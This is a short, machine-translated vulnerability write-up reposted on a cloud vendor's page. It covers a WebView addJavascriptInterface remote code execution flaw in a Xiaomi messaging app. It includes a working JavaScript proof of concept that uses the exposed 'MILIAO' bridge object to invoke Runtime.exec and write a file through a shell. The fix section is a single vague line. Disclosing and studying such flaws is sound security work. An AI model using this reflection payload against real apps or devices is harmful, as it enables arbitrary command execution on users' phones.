Mi 5app Remote Code Execution Vulnerability + vulnerability POC (can attack specified Users)

Source: Internet
Author: User

Mi 5app Remote Code Execution Vulnerability + vulnerability POC (can attack specified Users)

Mi 5app Remote Code Execution Vulnerability + vulnerability exploitation POC

 

Android Developers can use the addJavascriptInterface method in the WebView component to publish methods in JAVA to JavaScript calls. However, when JavaScript calls this method, it can reverse inject JAVA code into JAVA code for execution, since JAVA code can be executed, a remote command execution vulnerability is generated, and then you can perform anything on your mobile phone within the permission range.
 

 

#1 The Code traverses all window objects and prints them to the page.

<script type="text/javascript">for(w in window){    document.write(w + "<br/>");}</script>


 


 



#2 construct POC


<script type="text/javascript">function execute(cmdArgs){    return MILIAO.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}try{    execute(["/system/bin/sh","-c","echo 'Hello world !' > /sdcard/test.txt"]);    alert("Hello world !");}catch(e){    alert(e);}</script>



#3Hello world
 



Ipv4success using the remote code execution loopholes written into javastest.txt
 


 

 

Solution:

Enhanced verification

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.